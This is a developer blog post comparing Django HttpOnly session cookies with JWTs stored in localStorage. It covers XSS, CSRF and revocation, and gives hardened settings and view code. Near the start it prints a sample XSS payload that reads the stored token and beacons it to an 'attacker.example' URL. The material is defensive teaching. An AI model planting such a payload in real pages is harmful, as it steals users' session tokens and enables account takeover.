DEV Community

Stefan
Stefan

Posted on • Originally published at codereviewlab.com

Django Session Cookie vs localStorage JWT Security Comparison

Django Session Cookie vs localStorage JWT Security Comparison

A team ships a Django REST Framework API, adds a React SPA on the same origin, and reaches for localStorage to store JWTs because that's what the tutorial used. Six months later, a reflected XSS on a third-party widget exfiltrates every active session token in under 200ms. The attacker doesn't need to touch a cookie, bypass SameSite, or forge a CSRF token. They just read a key from storage and replay it from a server in another country. This comparison is about why that attack path exists, when it doesn't, and what the settings are that actually change the outcome.


How attackers steal tokens from each storage model

The attack mechanic is straightforward. localStorage is accessible to any JavaScript executing on the page, regardless of where that script originated. A stored JWT is just a string sitting in a key-value store that window.localStorage.getItem() can read without restriction. A successful XSS — whether reflected, stored, or through a compromised dependency — gives an attacker the same DOM access your own application code has.

The following payload illustrates the extraction. It takes the token and beacons it to an attacker-controlled endpoint:

// Stored XSS payload injected into a product review field
(function exfil() {
  const token = localStorage.getItem('access_token'); // reads the JWT directly
  if (!token) return;

  // encode and exfiltrate — img beacons bypass CSP default-src in many configs
  new Image().src = 'https://attacker.example/c?t=' + encodeURIComponent(token);
})();
Enter fullscreen mode Exit fullscreen mode

Now run the same payload against a Django session cookie configured with HttpOnly=True:

// Same XSS payload, same origin, same execution context
(function exfil() {
  const cookie = document.cookie; // returns "" — HttpOnly cookies are NOT in document.cookie
  new Image().src = 'https://attacker.example/c?t=' + encodeURIComponent(cookie);
})();
Enter fullscreen mode Exit fullscreen mode

The HttpOnly flag instructs the browser to exclude the cookie from the document.cookie API entirely. JavaScript cannot read it. The beacon fires, but it carries an empty string. The attacker has code execution on your page but still can't steal the session identifier.

This is the core asymmetry. localStorage has no equivalent protection mechanism. There is no flag you can set on a localStorage key to make it invisible to script. The storage model itself is the exposure. For a deeper look at the full surface area of browser storage options, the browser storage security tradeoffs lab on Code Review Lab walks through localStorage, sessionStorage, IndexedDB, and cookies in attack context.

The account takeover path from localStorage token theft is direct: attacker captures the JWT, copies the Authorization: Bearer <token> header into any HTTP client, and makes authenticated requests until the token expires. If your access token TTL is 24 hours — or worse, if you're storing a refresh token in localStorage too — that window is long enough to cause real damage.


Fixing it: HttpOnly, Secure, SameSite, and short-lived JWTs

For Django's built-in session framework, the secure defaults are three settings that should be on in every non-local environment:

# settings.py

# Session cookie flags
SESSION_COOKIE_HTTPONLY = True   # prevent JS access — this is the XSS mitigation
SESSION_COOKIE_SECURE = True     # only transmit over HTTPS — defeats passive interception
SESSION_COOKIE_SAMESITE = 'Lax'  # blocks cross-site cookie sending on most navigations

# CSRF cookie — often forgotten
CSRF_COOKIE_HTTPONLY = False     # must stay False so JS can read it for AJAX; that's intentional
CSRF_COOKIE_SECURE = True
CSRF_COOKIE_SAMESITE = 'Lax'

# Keep session age short for sensitive apps
SESSION_COOKIE_AGE = 3600        # 1 hour; adjust to your threat model
SESSION_EXPIRE_AT_BROWSER_CLOSE = True
Enter fullscreen mode Exit fullscreen mode

SESSION_COOKIE_HTTPONLY defaults to True in Django already. The one that trips people up is SESSION_COOKIE_SECURE, which defaults to False so local development works without TLS. Forgetting to override it in production means the session cookie travels over plaintext HTTP connections, which is exploitable on any network path you don't control.

SameSite=Lax is the middle ground: it blocks cross-site POST requests (the classic CSRF vector) while still allowing top-level navigations (clicking a link from email to your site). SameSite=Strict is more aggressive and breaks OAuth redirects and some email link flows. SameSite=None requires Secure and re-opens cross-site sending — only appropriate when you explicitly need cross-origin cookie delivery.

If your architecture genuinely requires JWTs (cross-domain clients, microservices — covered in a later section), the fix is to move them out of localStorage and into HttpOnly cookies. With DRF SimpleJWT:

# settings.py — SimpleJWT HttpOnly cookie configuration

from datetime import timedelta

SIMPLE_JWT = {
    'ACCESS_TOKEN_LIFETIME': timedelta(minutes=15),   # short-lived; stolen tokens expire fast
    'REFRESH_TOKEN_LIFETIME': timedelta(days=1),
    'ROTATE_REFRESH_TOKENS': True,                    # rotation means a stolen refresh token
    'BLACKLIST_AFTER_ROTATION': True,                 # can only be used once
    'AUTH_COOKIE': 'access_token',                    # requires djangorestframework-simplejwt[cookie]
    'AUTH_COOKIE_HTTP_ONLY': True,
    'AUTH_COOKIE_SECURE': True,
    'AUTH_COOKIE_SAMESITE': 'Lax',
}

# views.py — set cookie on login rather than returning token in response body
from rest_framework_simplejwt.views import TokenObtainPairView
from rest_framework.response import Response

class CookieTokenObtainPairView(TokenObtainPairView):
    def post(self, request, *args, **kwargs):
        response = super().post(request, *args, **kwargs)
        if response.status_code == 200:
            access = response.data.pop('access')  # remove from body — body is readable by JS
            refresh = response.data.pop('refresh')
            response.set_cookie(
                'access_token', access,
                httponly=True,
                secure=True,
                samesite='Lax',
                max_age=15 * 60,  # matches ACCESS_TOKEN_LIFETIME
            )
            response.set_cookie(
                'refresh_token', refresh,
                httponly=True,
                secure=True,
                samesite='Lax',
                max_age=86400,
            )
        return response
Enter fullscreen mode Exit fullscreen mode

Keeping the JWT in the response body and then writing it to localStorage in your frontend code — the pattern most tutorials show — is precisely the antipattern you're replacing here. The advanced XSS exfiltration techniques lab demonstrates how even a restricted XSS (no alert(), CSP blocking inline scripts) can still reach localStorage through DOM clobbering and deferred injection, which is why "we have CSP" is not a sufficient argument for keeping tokens there.


CSRF surface area: cookies vs Authorization headers

Moving tokens into HttpOnly cookies trades one attack surface for another. Cookies are sent automatically by the browser on every matching request, which means CSRF becomes relevant in a way it isn't when the client must explicitly set an Authorization header.

The difference: a JWT in localStorage used via Authorization: Bearer header is immune to CSRF because cross-site requests can't set custom headers (the browser won't let attacker.example set headers on a request to yourapp.example). But it's fully exposed to XSS. A JWT in an HttpOnly cookie is immune to XSS readout but is sent on cross-origin requests unless SameSite blocks it.

SameSite=Lax covers the most common CSRF attacks — cross-site form POST, cross-site fetch with credentials: 'include'. It doesn't cover all cases, which is why Django's CsrfViewMiddleware still matters:

# views.py — Django CSRF middleware in action
from django.views.decorators.csrf import csrf_protect
from django.http import JsonResponse

@csrf_protect  # redundant if CsrfViewMiddleware is in MIDDLEWARE, shown for clarity
def transfer_funds(request):
    if request.method == 'POST':
        # CsrfViewMiddleware has already verified the token by this point
        # It checks request.META['HTTP_X_CSRFTOKEN'] against the cookie value
        amount = request.POST.get('amount')
        # ... domain-specific transfer logic ...
        return JsonResponse({'status': 'ok'})
Enter fullscreen mode Exit fullscreen mode

On the frontend, your AJAX code needs to read the CSRF cookie (note: CSRF_COOKIE_HTTPONLY must be False for this to work) and attach it as a header:

// fetch helper that reads CSRF token from cookie and sends it as a header
function getCsrfToken() {
  return document.cookie
    .split('; ')
    .find(row => row.startsWith('csrftoken='))
    ?.split('=')[1];
}

async function securePost(url, data) {
  return fetch(url, {
    method: 'POST',
    credentials: 'same-origin',           // send session cookie
    headers: {
      'Content-Type': 'application/json',
      'X-CSRFToken': getCsrfToken(),       // Django's CsrfViewMiddleware checks this
    },
    body: JSON.stringify(data),
  });
}
Enter fullscreen mode Exit fullscreen mode

The double-submit pattern here is what Django's middleware validates: the CSRF value in the cookie must match the value in the header (or POST body). An attacker on a different origin can force the cookie to be sent via a form submission but cannot read the cookie value to populate the header, so the check fails.

SameSite=Strict would make this middleware check largely redundant for cookie-based sessions, but breaks too many real-world flows to recommend as a default.


Revocation, rotation, and session invalidation

This is where Django sessions have a structural advantage that JWTs cannot match without additional infrastructure.

A Django session ID is a server-side reference. When you call request.session.flush(), the session record is deleted from the backing store (database, cache, file). Every subsequent request that presents that session cookie gets a 403 or redirect to login because the server-side record no longer exists. Logout is immediate, complete, and requires no coordination across services.

# views.py — complete logout with Django sessions
from django.contrib.auth import logout
from django.http import JsonResponse

def logout_view(request):
    logout(request)  # calls request.session.flush() + clears auth
    # The session cookie is now invalid — any replay of it hits a missing session record
    response = JsonResponse({'status': 'logged out'})
    response.delete_cookie('sessionid')  # cosmetic; server-side flush is what matters
    return response
Enter fullscreen mode Exit fullscreen mode

A stateless JWT doesn't have this property. The token is self-contained and valid until its exp claim passes. Calling "logout" on the client by deleting the cookie or clearing localStorage only affects that device. If an attacker already exfiltrated the token, it keeps working.

The standard mitigation is a denylist: store invalidated JTIs (JWT IDs) in Redis or a fast cache, check on every request, reject hits. This works, but it reintroduces statefulness — you're now running a distributed session store by another name:

# middleware.py — Redis-backed JWT denylist check
import redis
from rest_framework_simplejwt.tokens import UntypedToken
from rest_framework_simplejwt.exceptions import InvalidToken, TokenError
from django.http import JsonResponse

r = redis.StrictRedis.from_url('redis://localhost:6379/0')

class JWTDenylistMiddleware:
    def __init__(self, get_response):
        self.get_response = get_response

    def __call__(self, request):
        auth_header = request.COOKIES.get('access_token') or \
                      request.META.get('HTTP_AUTHORIZATION', '').replace('Bearer ', '')

        if auth_header:
            try:
                token = UntypedToken(auth_header)
                jti = token.payload.get('jti')
                if jti and r.get(f'denylist:{jti}'):
                    # reject before view logic — token was explicitly revoked
                    return JsonResponse({'detail': 'Token revoked'}, status=401)
            except (InvalidToken, TokenError):
                pass  # let the view's authentication class return the proper error

        return self.get_response(request)


def revoke_token(jti: str, ttl_seconds: int):
    # TTL matches remaining token lifetime — no need to keep dead entries forever
    r.setex(f'denylist:{jti}', ttl_seconds, '1')
Enter fullscreen mode Exit fullscreen mode

The broken authentication patterns lab covers the class of bugs this introduces — race conditions on rotation, denylist misses during Redis failover, and token reuse after a rotation acknowledgment is lost.

For incident response, the operational difference is significant. Suspect a session was compromised? With Django sessions: delete the row. With JWTs and no denylist: wait for expiry or deploy a denylist under load. Teams that have been through an account takeover incident tend to develop strong opinions about this difference quickly.


Threat model scorecard: XSS, CSRF, MITM, replay

Threat Django HttpOnly Session Cookie JWT in localStorage JWT in HttpOnly Cookie
XSS token theft Blocked (HttpOnly) Fully exposed Blocked (HttpOnly)
CSRF Requires SameSite + CSRF middleware Not applicable (no cookie) Requires SameSite + CSRF middleware
MITM / passive interception Blocked with Secure flag + HTTPS Blocked with HTTPS Blocked with Secure flag + HTTPS
Replay after logout Impossible (server-side flush) Possible until exp Possible until exp (without denylist)
Token revocation Immediate Requires denylist Requires denylist
Cross-domain use Not possible (SameSite blocks it) Works via Authorization header Requires SameSite=None; Secure
Mobile client auth Awkward (cookies on native apps) Natural fit Workable with secure storage
Operational complexity Low (session table + cache) Medium (short TTL management) Medium-High (rotation + denylist)

The honest read of this table: for a same-domain web app with a standard browser client, Django session cookies win on almost every dimension. The JWT in localStorage pattern is the worst of both worlds — it reintroduces statefulness on the frontend while removing the server-side revocation safety net.


When a JWT actually makes sense in a Django app

There are legitimate cases. Forcing Django sessions into every architecture is its own kind of mistake.

Mobile and native clients don't have a reliable cookie jar and can't take advantage of HttpOnly cookies without additional WebView configuration. JWTs stored in platform secure storage (iOS Keychain, Android Keystore) are the appropriate pattern there. The constraint is "secure storage" — not localStorage, not SharedPreferences in plaintext.

Cross-domain SPAs where the API and frontend are on different registrable domains (e.g., api.company.com and app.otherdomain.com) can't use SameSite=Lax cookies. Credentialed cookie sharing across different registrable domains requires SameSite=None; Secure and explicit CORS configuration, which creates its own attack surface. A short-lived JWT passed via Authorization header avoids that entirely.

Microservice-to-microservice auth is the use case JWTs were actually designed for. Service A mints a signed token asserting claims about the calling context; service B validates the signature without a network call. No shared session store needed.

For cross-domain SPAs where you must use JWTs, keep access tokens in memory (a module-level variable or React context — not localStorage, not sessionStorage) and store only the refresh token in an HttpOnly cookie served by your auth endpoint:

# views.py — in-memory access token pattern
# Access token is returned in the response body (JS holds it in memory only)
# Refresh token goes into an HttpOnly cookie — survives page reload, not readable by JS

class CookieTokenRefreshView(APIView):
    def post(self, request):
        refresh_token = request.COOKIES.get('refresh_token')
        if not refresh_token:
            return Response({'detail': 'No refresh token'}, status=401)

        try:
            refresh = RefreshToken(refresh_token)
            access = str(refresh.access_token)

            if api_settings.ROTATE_REFRESH_TOKENS:
                # Old refresh token is blacklisted here; reject before use
                refresh.blacklist()
                new_refresh = str(refresh)
            else:
                new_refresh = refresh_token

            response = Response({'access': access})  # access token in body — JS stores in memory
            response.set_cookie(
                'refresh_token', new_refresh,
                httponly=True,
                secure=True,
                samesite='Lax',
                max_age=86400,
                path='/api/token/refresh/',  # scope the cookie to the refresh endpoint only
            )
            return response

        except TokenError as e:
            return Response({'detail': str(e)}, status=401)
Enter fullscreen mode Exit fullscreen mode

Scoping the refresh cookie to /api/token/refresh/ via the path attribute means it isn't sent on every API request, reducing the CSRF exposure window.


Recommended defaults for new Django projects

Start here and deviate only when your architecture requires it:

# settings.py — production baseline

import os

DEBUG = False

# Session security
SESSION_COOKIE_HTTPONLY = True    # default True, but be explicit
SESSION_COOKIE_SECURE = True      # require HTTPS — override to False in local dev only
SESSION_COOKIE_SAMESITE = 'Lax'  # blocks cross-site POST CSRF without breaking OAuth flows
SESSION_COOKIE_AGE = 3600         # 1 hour idle expiry; tune per sensitivity
SESSION_EXPIRE_AT_BROWSER_CLOSE = True
SESSION_ENGINE = 'django.contrib.sessions.backends.cached_db'  # cache-backed, survives restart

# CSRF
CSRF_COOKIE_SECURE = True
CSRF_COOKIE_SAMESITE = 'Lax'
CSRF_COOKIE_HTTPONLY = False       # must be False — JS needs to read it for AJAX
CSRF_TRUSTED_ORIGINS = [
    'https://yourapp.example.com',  # explicit allowlist — no wildcards
]

# HTTPS enforcement
SECURE_SSL_REDIRECT = True
SECURE_HSTS_SECONDS = 31536000
SECURE_HSTS_INCLUDE_SUBDOMAINS = True
SECURE_HSTS_PRELOAD = True

MIDDLEWARE = [
    'django.middleware.security.SecurityMiddleware',
    'django.contrib.sessions.middleware.SessionMiddleware',
    'django.middleware.csrf.CsrfViewMiddleware',  # keep this — SameSite doesn't cover everything
    # ... remaining middleware ...
]
Enter fullscreen mode Exit fullscreen mode
# views.py — minimal login/logout

from django.contrib.auth import authenticate, login, logout
from django.http import JsonResponse
from django.views.decorators.http import require_POST
from django.views.decorators.csrf import csrf_protect

@csrf_protect
@require_POST
def login_view(request):
    username = request.POST.get('username', '').strip()
    password = request.POST.get('password', '')

    user = authenticate(request, username=username, password=password)
    if user is None:
        return JsonResponse({'detail': 'Invalid credentials'}, status=401)

    login(request, user)
    # Django rotates session ID on login — prevents session fixation
    request.session.cycle_key()

    return JsonResponse({'username': user.username})


@require_POST
def logout_view(request):
    logout(request)  # flushes session server-side; cookie replay now returns 403
    return JsonResponse({'status': 'ok'})
Enter fullscreen mode Exit fullscreen mode

The cycle_key() call deserves a note: django.contrib.auth.login() calls this internally, but being explicit makes it visible during code review. Session fixation attacks — where an attacker plants a known session ID before authentication and then inherits the authenticated session — are blocked when the ID rotates on privilege change.

When to deviate from this baseline:

  • You have native mobile clients: add JWT issuance to a dedicated /api/token/ endpoint, use platform secure storage on the client side.
  • Your API serves multiple frontend origins: evaluate SameSite=None; Secure with explicit CORS_ALLOWED_ORIGINS rather than wildcards, and add rate limiting to token endpoints.
  • You need sub-minute revocation latency on JWTs: add a Redis denylist, accept the operational overhead, keep access token TTLs at 5 minutes or less.

The default in Django is already the secure default: HttpOnly sessions, server-side storage, immediate revocation. The failure mode we see repeatedly is developers reaching past those defaults for a pattern that adds complexity and attack surface without a matching functional requirement. Before adding JWT infrastructure to a Django project, write down the concrete reason session cookies don't work for your case. If you can't write it down, you don't need JWTs. For engineers building that security intuition systematically, the appsec engineer fundamentals track at Code Review Lab covers authentication architecture alongside the code-level vulnerabilities that make these decisions matter.


Further reading

Top comments (0)